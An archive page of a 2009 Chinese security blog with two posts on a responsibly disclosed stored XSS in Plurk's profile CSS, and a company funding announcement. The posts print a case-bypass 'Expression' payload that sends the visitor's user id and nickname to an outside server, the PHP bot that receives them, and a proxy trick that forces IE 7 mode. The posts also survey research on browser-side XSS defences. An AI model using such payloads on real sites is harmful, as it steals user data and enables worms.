阿碼外傳-阿碼科技非官方中文 Blog: 06/01/2009 - 07/01/2009

2009年6月29日

誰在看我的噗?第二回:IE執行模式 vs 跨網站腳本漏洞(XSS)


Web、HTML、CSS、各家瀏覽器,都在持續演進著,以資安的觀點來看,演進的過程中包含了許多為了修補當初不安全設計而做得努力。IE,現在已經到IE 8了。

本文續「誰在看我的噗?第一回:DOM沙盒 vs 跨網站腳本漏洞(XSS)」。

許多朋友透過email/msn/plurk問我,這個攻擊為何說IE<=7才能觸發?其實這個問題不是三言兩語解釋得清楚,所以我只在文中寫IE<=7,不想讓已經很長的一篇變得更長,但沒想到大家都很厲害,這個問題大家都還是問了。那我們就來談談,為何此攻擊IE<=7才能work吧!

其實我只確定IE 7可以work,IE 8不行,IE 1-6,我沒裝,沒測過。可是為何我沒說IE 8可以,而又為何有朋友認為應該可以?認為可以的朋友們最大的「證據」之一,就是Plurk個人首頁的HTML中有一行:

<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />

由於CSS、HTML的規格不斷演進,各家瀏覽器也一直在變,一個網頁如何被解譯,跟瀏覽器決定用何種模式來解譯有很大的關係。HTML 5規格中即定義了三個模式:no quirks mode(標準模式,standard mode)、quirks mode(相容模式)、以及limited quirks mode(限制相容模式 / 近標準模式,almost standards mode)。不同模式影響了瀏覽器如何解析(parse)以及展現一份HTML文件;就資安的角度而言,不同模式的影響甚大,例如文件中對於script的處理,就會因不同模式而有差異。

就瀏覽器來說,不同模式間行為差距最大的,應該算是IE,又以IE 7到IE 8為明顯。IE 8一共支援了四種模式:IE 8 standard(標準)模式、IE 8 almost standards(近標準)模式、IE 7 standard(標準)模式、IE 5.5 quirks(相容)模式。「誰在看我的噗?」中所用的攻擊點:

body {background-image: expression(alert("XSS"));}

即是自從IE 8 beta 2之後,已經自IE 8標準模式中移除了;意思就是,如果是在IE 8標準模式下,此攻擊點無效,expression並不會被執行。那麼IE 8如何決定何時用哪種模式來執行呢?答案是根據許多條件,其中包含了HTTP檔頭、doctype、meta X-UA-Compatible、微軟的網站黑名單、以即使用者的設定等。那滲透測試的過程中,如何得知IE選擇哪種模式來處理一個網頁呢?最簡單的方式,是安裝IE Developer Toolbar。這個跟firebug互別苗頭的工具,一直是滲透測試時的好幫手。IE Developer Toolbar可以顯示出IE使用哪種模式來解譯目前的網頁。以Plurk為例,我的Toolbar顯示如下:

為何Plurk是在IE 8標準模式執行呢?我們看一下程式碼:

Server: nginx/0.6.32
Date: Sun, 28 Jun 2009 18:49:38 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Expires: Sun, 28 Jun 2009 18:49:37 GMT
Cache-Control: no-cache
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 36704

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

<script type="text/javascript">
if(window != top && window.location.toString().indexOf("/_comet/") == -1) {
//Inside an iframe
top.location.href = location.href;
}
</script>

<title>
armorize_wayne
</title>
<meta http-equiv="Content-Type" content="application/xhtml+xml; charset=UTF-8" />
<meta name="verify-v1" content="iBRwaQ/3d4NoF1uaa2SAfCJ962ORry1TE8/4XxtIbHk=" />
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />

恩,既然有定義doctype,也有用meta定義了X-UA-Compatible為「IE=EmulateIE7」,那應該要迫使IE 8在「IE 7標準模式」下解譯Plurk,為何toolbar還是顯示「IE 8標準模式」,而且攻擊也確實無法執行?始作俑者就是meta前面的javascript。如果沒有這段javascript的話,那IE 8就會轉換至「IE 7標準模式」下執行,而上述攻擊就仍然有效。當場try看看好了。利用fiddler,然後用IE 8開plurk,用羔羊帳號(goat_victim)登入,然後瀏覽我的Plurk頁面,可以看出瀏覽器發出以下的http request,其中並沒有對553lab.org發出request,表示攻擊並未成功:

這時我們利用「bpu http://www.plurk.com/armorize_wayne」設好中斷點(breakpoint,見上圖底黑底緑字處),然後IE 8按F5重新載入,中斷點停下來後,選擇「Break on Response」,然後等到獲得plurk伺服器回應的http response時,中斷點又再度停下來,這時我們手動改此HTML,將javascript移到「X-UA-Compatible」這行之後,並選擇「Run to Completion」:

下圖為執行後的畫面,我們看到IE 8發了一個request給http://553lab.org,表示我們的XSS(跨網站腳本漏洞)成功了,javascript被執行了:

回到IE 8,可以看到我的Plurk頁面上,機器人已經自動對來訪者(goat_victim)打招呼了:

那麼IE 8決定解譯模式的流程為何?以下流程圖來自:http://hsivonen.iki.fi/doctype/ie8-mode.png

圖中紅色部分為這次我的IE 8決定採用「IE 8標準模式」的流程圖。IE 8的決定,除了噗浪網站的HTTP檔頭與HTML內容外,我本身的IE 8 相容性設定也有影響。我的相容性設定為預設值(Tools->Compatibility View Settings):

其中的決定包含:
1. 是否有X-UA-Compatible meta標籤:事實:有,但是前面已經先有javascript。
2. HTTP檔頭中是否有設X-UA-Compatible?事實:沒有
3. 我的IE 8相容性設定是否有勾選「display all websites」?事實:沒有
4. ...

有可能這是Plurk刻意的設計,讓IE 8在「IE 8標準模式」中執行,但也有可能是Plurk本意是要藉由設定X-UA-Compatible來讓IE 8切換至「IE 7標準模式」,可是後來在前面加了一段javascript,誤讓模式跳回了「IE 8標準模式」,也同時讓我們的攻擊失效了。

無論如何,Plurk讓IE 8在「IE 8標準模式」中執行,導致我們前一篇中所提之攻擊點失效,也是為何前一篇中,我沒有說攻擊能在IE 8上執行之原因。至於有朋友問,明明CSS中的expression,有用IE 8測過,確定可以work,為何說不行?答案是這要看你的頁面讓你的IE 8呈現何種模式?如果在HTML內或HTTP檔頭中都沒有設定X-UA-Compatible,也沒有特別設定doctype的話,那就很有可能跑到相容模式去,而導致CSS expression攻擊成功了。

瀏覽器的解譯模式會直接影響javascript執行方式,進而影響資安結構;不但doctype、meta tag以及HTTP檔頭,甚至連javascript擺的位子之些微差距,都有可能影響一個網頁之安全性。您清楚您網站於IE各版本上的解譯模式嗎?

作者Wayne為阿碼科技一員
p.s.順便簡短一併回一些問題:
Q:這個漏洞可以用來寫蠕蟲嗎?答:可以
Q:噗浪修補好了嗎?答:「這個漏洞」修補好了,但是即使同一個手法,也可以有很多種變形,是否都阻擋了?我沒測
Q:之前提的csrf蠕蟲能公開嗎?答:噗浪還沒修好,所以還不能公開

系列第一篇:誰在看我的噗?第一回:DOM沙盒 vs 跨網站腳本漏洞(XSS)
系列第二篇:(本篇)誰在看我的噗?第二回:IE執行模式 vs 跨網站腳本漏洞(XSS)
系列第三篇:誰在看我的噗?第三回:弔詭的過濾函式
系列第四篇:誰在看我的噗?第四回:我噗誰在看!


繼續閱讀全文...

2009年6月27日

誰在看我的噗?第一回:DOM沙盒 vs 跨網站腳本漏洞(XSS)


上星期天下午,下大雨,沒法出去,隨手開了Plurk,想到了Plurk之前公開的「XSS挑戰」,只要找到漏洞,證明並回報的噗友,就有Plurk hacker勳章可以拿,之前我也很快地寫了一隻蠕蟲demo並回報。(不用懷疑,當然沒有真的拿來使用)

開了瀏覽器,沒有用什麼工具,就徒手在瀏覽器上玩來玩去,結果一下子,找到一個預存式XSS(stored cross-site scripting,因先儲存至預存式的資源譬如資料庫後再於取出時造成攻擊,又稱預存式XSS),寫了一小段poc程式,確定可以偷cookie,然後又寫了一個蠕蟲的 poc 程式。原本想立刻把poc程式寄給Plurk回報,但又覺得這些東西沒什麼新意,這樣回報很無聊。可是那寫什麼demo來回報呢?

這時突然想到以前的irc機器人,好吧,那就寫一個跟irc一樣的自動打招呼機器人好了,順便回味一下irc的年代。直接在瀏覽器上寫完,還真的可以用,只要在有登入噗浪的狀態下,用IE(<=7)來訪問我的Plurk頁面,機器人都會自動跟您打個招呼(不會偷cookie)。寫完把範例程式寄給Plurk,真快,不到一小時就收到回信,不到一天就改好了,這種速度比起其他網站,真是夠快了。問了他們可否寫篇blog,Plurk說沒問題,反正都修好了,嗯,謝謝,真是很nice!

整個測試的過程中,我一直想到「以 DOM 為基礎之沙盒(DOM-based sandboxing)」之概念。XSS(cross-site scripting,跨網站腳本漏洞)根本不應該這麼難預防的;問題主要出在當初W3C與瀏覽器團隊在定義各種規格時,真的太少考慮到資安的需求了。也或許是這樣,才造就了Web與Web 2.0這麼快速的成長吧(限制很少,很好學,很好寫)!以這次回報的XSS來說,DOM-based sandboxing(DBS)是最直覺的解決方式;我們先看看這個漏洞。

[XSS弱點範例]

噗浪很令人喜愛的功能之一,是可以自己寫(或上傳)CSS,讓每一個人可以有自己的噗浪頁面。在「Profile」旁邊有一個「edit」,按下去並選擇「Customize profile」,就可以自己填入CSS。上次我回報蠕蟲漏洞,主要是那時幫朋友改code,接觸到Plurk API,而注意到漏洞。當時並沒有仔細玩噗浪的介面。這時一玩,wow,可以自己寫CSS,那麼這個功能很有可能出現漏洞。CSS 裡頭的XSS攻擊點,可以參考RSnakeXSS Cheat Sheet;以IE(<=7)為例,主要可說有兩種:

1. CSS 內可造成 javascript 執行,範例如:

body {background-image: url("javascript:alert('XSS')");}

2. CSS 內利用expression 造成 javascript 執行,範例如

body {background-image: expression(alert("XSS"));}

(範例一)

我們來分析一下要如何做攻擊測試。Html中有很多方式可以設定 css;可以是後端程式產生,寫死在 HTML 裡,可以是前端 javascript 以document.write()方式動態產生,也可以是前端javascript以動態建構出新的 DOM 元素(element)來產生。看一下Plurk的源碼,可以發現產生方式如下:

B = document.createElement("link");
B.setAttribute("rel", "stylesheet");
B.setAttribute("type", "text/css");
document.getElementsByTagName("head")[0].appendChild(B);
(程式一)

根據RSnakeXSS Cheat Sheet,(範例一)中的攻擊點(1),只對IE6有效,那我們先選攻擊點(2)「expression」來試看看好了,在介面中填入:

body {background-image: expression(alert("XSS"));}
(程式二)

(暗:(1)真的只對IE6有效嗎? ;) )

按下「Save and update」,果然有過濾,CSS中不能有「expression」,也不能有「javascript」或「@import」等關鍵字。

嗯嗯,大概是用正規表示式過濾的吧!那把「expression」改成「Expression」呢?Umm...結果就通過了...原來過濾時沒有考慮到大小寫問題;這麼簡單一點小疏失,就會造成了一個預存式XSS,不但可以偷餅乾,更適合寫蠕蟲;事實上,三年前的MySpace(Samy)蠕蟲與不久前的Twitter(Mikeyy)蠕蟲(這裡這裡這裡),都是利用了使用者profile中的預存式XSS,只要訪問了受感染使用者的頁面,就會被感染。以MySpace為例,當時以上(1)與(2)兩個攻擊點都存在,而Samy蠕蟲也同時運用了這兩個攻擊點。

接下來就用css的Expression寫一下XSS的程式吧:

body {background-color: Expression( if ( (typeof doneonce == 'undefined') ) { void( doneonce = {testit: function () {dddd = new Image(16,16);dddd.src = "http://553lab.org/plurk/hello.php?x=[" + GLOBAL.session_user.uid + "][" + GLOBAL.session_user.nick_name+"]";}} ) + doneonce.testit() } );}
(程式三)

上面這個程式中,我們用夾帶在body中的Expression寫javascript,動態產生一個image,其url為:http://553lab.org/plurk/hello.php?x=[user_id][nick_name]。程式會使IE發一個GET到我們的hello bot(hello.php),並夾帶兩個參數,分別取自Plurk的javascript程式中的變數:GLOBAL.session_user.uid為目前使用者的id,而GLOBAL.session_user.nick_name為目前使用者的nick。為何不用hello.php?x=user_id&y=nick這樣的格式?因為Plurk會將「&」htmlencode成&amp;,所以乾脆改成只用一個參數「x」,資料則用[]來隔開。

後端hello.php程式如下:

<html><head><title>Plurk XSS demo by Armorize</title></head>
<body><b>XSS hello bot by wayne[_at_]armorize.com<br>Only works in IE<br></b>
<?
// Uses RLPlurkAPI by Ryan Lim <plurk-api@ryanlim.com>
require 'RLPlurkAPI.php';

//ini_set('display_errors','1');
//error_reporting (E_ALL);

$dovalidation_1 = true; $dovalidation_2 = true;
$publicplurk = true; // plurk disallows private plurks to none-friends

$cip = $_SERVER['REMOTE_ADDR'];

preg_match_all("/\\[([^\\]]*)\\]/", $_GET["x"], $results);

$g_id = $results[1][0]; $g_nick = $results[1][1];

$nick_name = $results[1][2];

if ($nick_name=="") $nick_name = "armorize_wayne";

$logf1 = "log/visited.txt"; $logf2 = "log2/visited.txt";

if ($dovalidation_1) if (!ereg("^[a-zA-Z0-9_]*$", $g_nick) || !is_numeric($g_id) || ((int)$g_id)<0 || !preg_match("/^http[s]*:\/\/www.plurk.com\//", $HTTP_REFERER)) $errorlog= "bad format or referer";

if (!$errorlog && $dovalidation_2) validate_user_then_log($g_id, $g_nick, $cip, $errorlog, $logf1, $logf2, $nick_name);

if (!$errorlog && get_my_password($nick_name, $password)) {
$plurk = new RLPlurkAPI();
$plurk->login($nick_name, $password);
$rand_msg = array("welcome, ", "greetings, ", "hello, ", "hi, ", "how's it going, ", "thanks for coming, ", "good day, ", "have fun, ", "enjoy, ", "have a nice day, ", "g'day, ", "thanks for stopping by, ", "have a good time, ");
$rand_num = rand(0, count($rand_msg)-1);

$msg = $rand_msg[$rand_num]."@".$g_nick."!";
if ($publicplurk)
$plurk->addPlurk('en', 'says', $msg);
else
$plurk->addPlurk('en', 'says', $msg, true, array($g_id));
echo "msg: ".$msg."<br>";
}

function validate_user_then_log($id, $nick, $ip, &$errorlog, $filename, $filename2, $visitedwho) {
$visitors = array();
$visitors = read_file($filename, 50000);
$visitors_set = array();
$ip_set = array();
foreach ($visitors as $value) {
preg_match_all("/\\[([^\\]]*)\\]/", $value, $results);
if (!array_key_exists($results[1][3], $visitors_set)) $visitors_set[$results[1][3]] = $results[1][4];
if (!array_key_exists($results[1][5], $ip_set)) $ip_set[$results[1][5]] = $results[1][4];
}

if (!$error_log) {
if (array_key_exists($id, $visitors_set)) {
$last_time = strtotime($visitors_set[$id]);
if ((time()-$last_time)<3600) {$errorlog="same id";}
}
if (array_key_exists($ip, $ip_set)) {
$last_time = strtotime($ip_set[$ip]);
if ((time()-$last_time)<3600) {$errorlog="same ip";}
}
}
// id to nick doesn't require loggin in, so I don't want to use RLPlurkAPI for this. Just make a quick call myself
$json = new Services_JSON();
$value = $json->decode(file_get_contents("http://www.plurk.com/Users/fetchUserInfo?user_id=".$id));

if ($value->nick_name!=$nick) $errorlog="id nick mismatch";

$fh = fopen($filename, 'a');
$logstr= "[".$value->full_name."] [".$value->nick_name."] [".$value->display_name."] [".$id."] [".date("Y-m-d H:i:s")."]\n";
fwrite($fh, $logstr);
fclose($fh);
$fh = fopen($filename2, 'a');
$logstr = "User ".$value->full_name." (".$value->nick_name.") or (".$value->display_name.") visited user: ".$visitedwho." on ".date("Y-m-d H:i:s").", ".$errorlog."\n";
fwrite($fh, $logstr);
fclose($fh);
}

//below from php.net examples page
function read_file($file, $lines)
{
$handle = fopen($file, "r");
$linecounter = $lines;
$pos = -2;
$beginning = false;
$text = array();
while ($linecounter > 0) {
$t = " ";
while ($t != "\n") {
if(fseek($handle, $pos, SEEK_END) == -1) {
$beginning = true;
break;
}
$t = fgetc($handle);
$pos --;
}
$linecounter --;
if($beginning) rewind($handle);
$text[$lines-$linecounter-1] = fgets($handle);
if($beginning) break;
}
fclose ($handle);
return $text;
}

function get_my_password($nick, &$pass) {
$accounts = parse_ini_file("log/accounts.ini");
if (array_key_exists($nick, $accounts)) {
$pass = $accounts[$nick]; return true;
} else return false;
}

?></body></html>
(程式四)

主要程式為29行至41行,基本上就是利用Plurk API發一個噗,跟訪問者打招呼。其他程式主要是防止機器人被濫用。因為這個機器人是以我的名義噗,如果只是照著「http://553lab.org/plurk/hello.php?x=[user_id][nick_name]」來發:Welcome, nick_name,那麼別人直接hello.php?x=[][I'm an idiot],發出來的噗就很好玩了。另外寫個script每一分鐘load一次hello.php,我就要一分鐘噗一次了。validate_user_then_log()含式主要就做這件事,機器人檢查:

1. referer要是www.plurk.com (22行,當然只能防君子)
2. id要跟nick對應,這是為何當出id與nick兩個參數都要傳給hello.php的原因 (65-67行)
3. 同一個id來訪,每一個小時只噗一次 (55-58行)
4. 同一個IP來訪,每一個小時只噗一次 (59-63行)

這樣除非真的有人閒到註冊一個Plurk帳號,取一個nick代表他想讓機器人噗的訊息,例如帳號是「I_am_an_idiot」,那麼機器人就會噗:「Hello, @I_am_an_idiot!」。不會有人那麼有閒吧?結果就真的發生了 XDDDDDD

程式很快寫好了,自己玩了一下,確定可以work。發現我的PHP已經生鏽了,但是還是立刻email給Plurk。過了一天,Plurk修正了。是不是真的修對了?還沒時間仔細看,不過至少以上攻擊不會成功了。就這樣機器人就擺著沒動,我也忙別的去了。

星期六晚上,看到朋友留的msn,說我的plurk一直跟「XSS」打招呼,趕快上去看了一下:

咦,我的噗浪頁面人氣幾乎都是零,怎麼這個XSS對我那麼有興趣?忙完事情又過了幾個小時,回來一看,XSS註冊了一個I_know_Armorize_sucks,嗯嗯,好好...看一下XSS這個帳號,沒朋友,看不出是誰,這麼神秘,怎麼查呢...

其實不用啦,圈子就這麼點大,跟我一樣無聊,週末不出去玩掛在網路上,半夜不睡覺來我的噗浪,然後還很有閒註冊這樣的噗浪帳號...ao大與px大,你們好啊,歡迎大駕光臨~~ 不要把我的bot玩壞了 :)

[以DOM為基礎之沙盒]

當初測試完這個預存式XSS,腦袋就停不下來一直想DOM sandboxing,以及今年Robert Morris帶學生做的一篇論文:「Privacy-Preserving Browser-Side Scripting With BFlow」(Paper投影片),今年四月發表於EuroSys'09(德國)。Robert Morris(rtm)的父親Robbert "Bob" Morris是美國國家安全局「國家電腦安全中心」之首席科學家。rtm於Cornell讀研究所時,釋放了Morris蠕蟲(Morris worm),為最早的蠕蟲之一,造成Internet癱瘓,他父親差點因此而丟了工作,當然rtm本身也被起訴,最後罰了一些錢以及社會服務。有趣的是,當時rtm是由MIT(麻省理工學院)而非自己就讀的Cornell網路來釋放蠕蟲,試圖混淆追中,而他目前則是MIT的教授,此篇論文是他帶學生在MIT做的。

從(程式二)中我們可以看到,Plurk是利用javascript動態地產生一個「link」元件,然後將role利用「rel」指定成「stylesheet」,將mime-type利用「type」設定成「text/css」,最後將css來源用「href」設定好,使用者的個人css就這樣被動態載入了。用javascript動態產生DOM元素的方法很多,譬如很多人喜歡用最簡單的doument.write()方式,但是用document.write(),就像是把字串連起來組成一個SQL指令一樣,沒有參數化的概念,即使有過濾,仍有風險。以資安的角度來看,Plurk的方式則含有參數化的概念,為較佳的建構方式。

可是我們仔細想想,Plurk用javascript建構此「link」元件時,就已經可以確定該元件不可以在css中接受expression或執行javascript。如果W3C的HTML Working GroupWHATWG讓HTML規格有支援(或瀏覽器開發團隊直接讓瀏覽器有支援)DOM sandboxing,那麼就可以很容易降低XSS的風險了。譬如我們可以簡單想像一下:

1. 每一個DOM元素都有一個attribute叫做「sandbox」,裡頭可以設多重限制,利用空白隔開,例如:

<link sandbox="disable_javascript" rel="..."...>

表示這個「link」元素不可以執行javascript,或甚至:

<script sandbox="disable_cookie_access">
... javascript code...
</script>

表示這段javascript不准許存取cookies。

2. 「sandbox」attribute,可以被javascript設定,但是每次設定只能增加限制,而不能放寬限制。

3. 子元素直接繼承母元素之「sandbox」attribute,並根據(2),只能增加限制而不能檢少限制。

以上是我很快「想像一下」來的DOM sandboxing,不過大概就是這種概念。如果有這種支援,那麼Plurk可以將程式改成:

B = document.createElement("link");
B.setAttribute("sandbox", "disable_javascript");
B.setAttribute("rel", "stylesheet");
B.setAttribute("type", "text/css");
B.setAttribute("href", User_Supplied_Data);
document.getElementsByTagName("head")[0].appendChild(B);
(程式五)

這樣子的話,即使後端程式沒有過濾好,瀏覽器也將提供某種程度的XSS防禦。

DOM sandboxing一直有被提出,但是記憶中開始比較多人講,應該是2007年。學界中做Web研究,最好的會議之一是WWW,為ACM與W3C合辦,每年5月舉行(我們於'03與'04投上過兩次,兩次都被提名當年最佳論文)。WWW 2007有一篇令我印象深刻,馬大與AT&T合作的:「Defeating Script Injection Attacks with Browser Enforced Embedded Policies」,或稱BEEP(計畫網頁paper投影片)。BEEP提出了一個javascript hook的概念,利用javascript hook來檢查合法與非法的javascript,並決定何者可以執行。此模型並不漂亮,用javascript hook來描述表達一個網頁的安全模型,太過繁瑣,等於把很多工作加諸於Web程式設計師,這樣不但難用,風險也大。另外,此作法必須修改瀏覽器。雖然有這些缺點,BEEP卻是很早就提出DOM sandboxing概念,故有其參考性。

2007年我記得的另一篇,是Benjamin Livshits於2007年6月PLAS'07發表的「Using Web Application Construction Frameworks to Protect Against Code Injection Attacks」。Livshits是Stanford大學Monica Lam的博士班學生,拿到博士後加入微軟研究院。預存式提出的DOM sandboxing概念,在實做上可以利用修改既有的前端ajax framework來達成,而不需要修改瀏覽器;在實做上,Livshits是修改了dojo toolkit來示範。Livshits提的原理很簡單,延續javascript的相同來源政策(same origin policy),對於每一個DOM元素多定義一個attribute:「pricipal」,只有相同principal的元素才能彼此存取。這樣的sandboxing很好用,譬如可以定義網頁的廣告區不能存取其他區域以及cookie,但是缺點是描述表達能力有限。

以上這兩篇發表日期很接近,也都是很好的會議,算是2007年這方面研究的代表。兩篇都有引述我們於WWW 2004發表的源碼檢測技術WebSSARI,Livshits提到用源碼檢測來找出Web應用程式漏洞時,引述WebSSARI說:「The WebSSARI project pioneered this line of research(WebSSARI計畫開創出了這一系列的研究)」。最近很多競爭對手抹黑我們是:「不知哪裡冒出來的一群hackers」。對,我們是hackers沒錯,但是我們不是出師無門的hackers :)

另外2007年時當然不是只有學界在談 DOM sandboxing。其實2007年5月時,WHATWG的list上就已經蠻多關於DOM sandboxing的討論,RSnake就於也在8月時於其blog上寫了一篇:「Content Restrictions - A Call For Input」,徵求大家對於DOM sandboxing的意見,也引來廣泛的討論。

經過了兩年,回頭來看今年Robert Morris的「Privacy-Preserving Browser-Side Scripting With BFlow」(Paper投影片),可以發現這方面研究進步了不少。BFlow的安全模型,是由瀏覽器動態地控管資料的流動,來避免資料被不當的取得。現在很多網頁都允許widget,這個模型就很適合,以下我們以Blogger為例。阿碼的blog就是放在Blogger上。Blogger允許在頁面上加入來自其他網站的widget,而BFlow的模型就可以限制這些widget對於資料的存取。例如以下,BFlow動態追蹤不同DOM元素間資料的存取與交換,如果一個外部widget沒有存取到被定義為機密的資料,那麼允許往外部網站發request(例如img),反之,則限制所有發出的request只能發給機密資料所屬的網站。


BFlow是由後端的網站程式對於每一份資料加註一個tag來定義其安全限制。如果兩個擁有不同tag的資料在client端被結合在一起呢?BFlow與WebSSARI一樣,採用1976年由Denning-Denning定義的lattice model,來決定結合後的新安全限制。

從剛才談到現在,我們自己提出了(程式五),也談了Livshits、BEEP以及Morris的解法。有趣的是,這四種解法,主旨都不在「過濾」或「偵測」惡意的字串,而在「限制」非法程式能執行的範圍。在以上四個例子中,惡意字串都還是會被插入合法程式中,或甚至被當成javascript執行,只是其範圍被限制住了,不能達成最終的目的,例如偷竊機密資料等行為。例如在(程式五)中,我們並沒有去判斷User_Supplied_Data所帶來的字串,是否含有惡意攻擊內容,我們只是利用程式模型配合參數化概念,限制了該DOM元素執行javascript之能力。(程式五)的解法看似漂亮,但是如果程式設計師的寫法是利用document.write()這種不帶任何參數化的概念來動態產生DOM元素,那麼又可以如何在client端避免XSS呢?今年2月的NDSS會議有兩個有趣的研究:Yacin提出的Document Structure Integrity: A Robust Basis for Cross-site Scripting Defense以及Gundy提出的「Noncespaces: Using Randomization to Enforce Information Flow Tracking and Thwart XSS Attacks」。Yacin提出的DSI(document structure integrity)其主要的概念是,先由後端伺服器程式決定DOM的合法動態與靜態結構,那麼在client端執行時,如果發現DOM結構不符合定義,就可以假設DOM結構被惡意破壞或惡意竄改了(ex: document.write()中含有tag <script>),而禁止執行。Gundy提出的Nonspaces,其實基本概念差不多,只是實做上不同,randomization的方式也不同--Nonspaces用xml namespaces,而DSI用randomized delimeters。

都是有創意的解法,而且一個會議竟然兩篇這麼相似,表示大家想法其實都差不多。看來蠻猛的嗎?概念不錯,但是很快都被破解了。上個月的Web 2.0 Security AND Privacy(W2SP)2009會議上,來自希臘的Athanasopoulos團隊發表了一篇:「Code Injection Attacks in Browsers Supporting Policies」,對上述的DSI、Noncespaces,連帶BEEP,都提出了具體破解的方法。Anthanasopoulos認為DOM沙盒之不可行,在於目前一個大型的網站中,DOM元素過多,要一一定義,並不容易,在執行面也有困難。他們提出的方法是將動態所產生的javascript做區隔,並限制其行為。該團隊目前正著手將其概念實做於firefox瀏覽器上。

討論了這麼多DOM沙盒與瀏覽器上之XSS預防,如果沒有講到最近Brendan Eich(Mozilla CTO)的演講,那就太可惜了。上個月的W2SP會議是由Eich開場的,題目是:「Improving JavaScript's Default Security Model Without Breaking the Web」(講義)。除了列出目前javascript安全的挑戰外,Brendan也概述了目前Mozilla對於這方面的努力--包含動態tainting方面的研究(困難點之一為如何讓保持interpreter的速度)。Brendan也提及了Mozilla在這方面的一個新計畫:FlowSafe,為Mozilla與Cormac Flanagan以及Michael Franz合作的計畫。咦?Flanagan?沒錯。Flanagan算是學界在靜態分析、源碼檢測與tainting分析上有名前輩(Java靜態分析工具ESC/Java就是他做的),這個計畫應該能有很實際的影響力。雖然Brendan在演講中並沒有特別提,但是會議後不久,他的同事Brandon Sterne,也就是Mozilla的Security Program Manager,寫了一篇blog「Shutting Down XSS with Content Security Policy」,介紹Mozilla的CSP計畫。

CSP採白名單方式,可以讓網站定義出合法的javascript有哪些,沒有在定義內的則視為非法。CSP在使用時,要求一個網頁所有的javascript都來自外部(<script src="">),而不可內嵌。由於所有javascript都來自外部,網站管理者就可以定義合法的來源,而瀏覽器會將其他來源視為非法。雖然這種要求與目前大部分人寫javascript的習慣大易其趣,但不論從FlowSafe或CSP中,都可以看出Mozilla在對付XSS上的努力。

縱深防禦(layered security)」是一個有用的概念,資源許可下的多層防禦絕對有其投資報酬。談了這麼多client端對付XSS的方法,都只是補強程式設計者本身犯的錯誤。能在伺服器端就修掉的XSS漏洞,或能夠在程式中就直接避免的,應儘量先修掉。Client端的種種防禦技術,可以用來補強,或者在無法直接從後端修補的情況下採用。在我們許多大型網站的導入經驗中,漏洞的修復往往是整個專案中最複雜的部分之一。已經運行多時的既有系統,在找出漏洞後,往往面臨種種因素,而無法直接、直覺或用標準方式來修復。Web資安之難,在於攻擊變化之多;漏洞修補之美,亦於方法選擇之多。如何能夠最有效率並以最低成本幫對方把漏洞修復,不斷考驗著資安團隊的經驗與知識。

作者Wayne為阿碼科技一員
系列第一篇:(本篇)誰在看我的噗?第一回:DOM沙盒 vs 跨網站腳本漏洞(XSS)
系列第二篇:誰在看我的噗?第二回:IE執行模式 vs 跨網站腳本漏洞(XSS)
系列第三篇:誰在看我的噗?第三回:弔詭的過濾函式
系列第四篇:誰在看我的噗?第四回:我噗誰在看!
繼續閱讀全文...

2009年6月18日

[No Tech] Skype創辦團隊投資阿碼科技


今天阿碼的新聞在twitter上滿天飛--Skype創辦團隊投資阿碼,阿碼完成了第二次增資。最感謝的還是這麼多我們的客戶。你們的支持,給了我們無比的動力與信心;你們的建議,讓我們能不斷改進我們的產品與服務;你們每天使用我們的產品,讓我們感覺有用不完的精力,不斷改良、創新、往前衝;你們對我們的質疑,讓我們更了解自己的不足;與你們不斷互動的程,就是我們成長的心路。這次增資,好多人願意出來跟創投談你們的使用經驗,為我們背書。謝謝你們!我們會不斷地提升我們產品與服務的品質,來回報各位!

這次增資主要是為了加速拓展阿碼的國際業務,參與的投資人有阿碼既有投資人(美國為主)、Skype創辦團隊創投 Ambient Sound Investments(歐)、還有Birch Venture Capital(台灣)。下個月我們就將有來自歐洲非常資深的同事遷居台灣並加入我們,我們並將持續找尋技術與業務人才。

阿碼新聞稿:Armorize Technologies Secures Up-Round Series-B Financing
Skype創辦技術團隊之創投公司ASI新聞稿:Armorize Technologies Secures Financing For Worldwide Business Development
TechCrunch(全球最受歡迎科技部落格)報導:Armorize Lands More Funding For Web App Security Technology
更多新聞:路透社Yahoo Finance道瓊USA TodayTech Startups

[創業過的投資人]

Skype在wikipedia上的定義中說:「Skype是由愛沙尼亞的工程師Ahti HeinlaPriit KasesaluJaan Tallinn所寫的」("Skype was written by Estonia-based developers Ahti Heinla, Priit Kasesalu and Jaan Tallinn")。其實這三位的的leader,是Toivo Annus,也是愛沙尼亞人。這四位以當初eBay併購Skype時他們所賺的錢,成立了Ambient Sound Investments,為創投公司,專門投資以技術為核心的新創公司。目前除了Toivo離開Skype外,其他三位仍在Skype擔任重要工作。

對於阿碼來說,ASI是難得的好投資人,因為ASI是由軟體創業家所成立的創投公司,帶給阿碼的,絕不僅是資金上的幫助而已。就如我們董事長Jim Sha,也是軟體界的創業前輩,一路走來我們跟他學到太多了。認識ASI,是資策會中負責「Connect Taiwan」與「Bridge Program」的Camilliam Lin一手促成的,在這邊我們非常感謝資策會許許多多幫助過我們的長官;不論是技服中心各位長官在資安技術與管理面的各種指導,或是產支處在產業面的協助推動,或我們辦公室所在的--資策會創研所的南軟育成中心--所辦的種種活動,阿碼都受益良多,謝謝你們!同時也謝謝AirDio(ASI投資的第一個台灣公司)的CEO Wen所給的各種幫忙。

幾個月前Toivo來台北看我們公司,才跟他聊半小時,我當時就打定主意,這家創投是很好的創投,他們的錢我們希望拿。Toivo穿著牛仔夾克,牛仔褲,與布鞋,有些偭腆,有些嚴肅,但是對技術、產品與公司營運的敏銳度非常的高,問題直接又快速,回答一句,得到他想要的答案,立刻問下個問題,一句多的話都沒有。聊了十分鐘,我發現他開始喜歡我們了,話題也多了。Toivo說他對資安不是非常專精,但是分享了一些他在Skype其間遇到的資安問題,大部分都是與路徑有關,也讓我增加了見聞。看到我們公司這麼多年輕的工程師,也很多歐洲人,「聘人很辛苦吧?Skype的前面兩百多個工程師,都是我自己面試挑選的,」他得意的說。「你們都如何面試工程師的?」真是好問題,我正要回答時,沒想到一旁的德籍工頭Chris搶著說了許多他的經驗,也讓Toivo頻頻點頭。

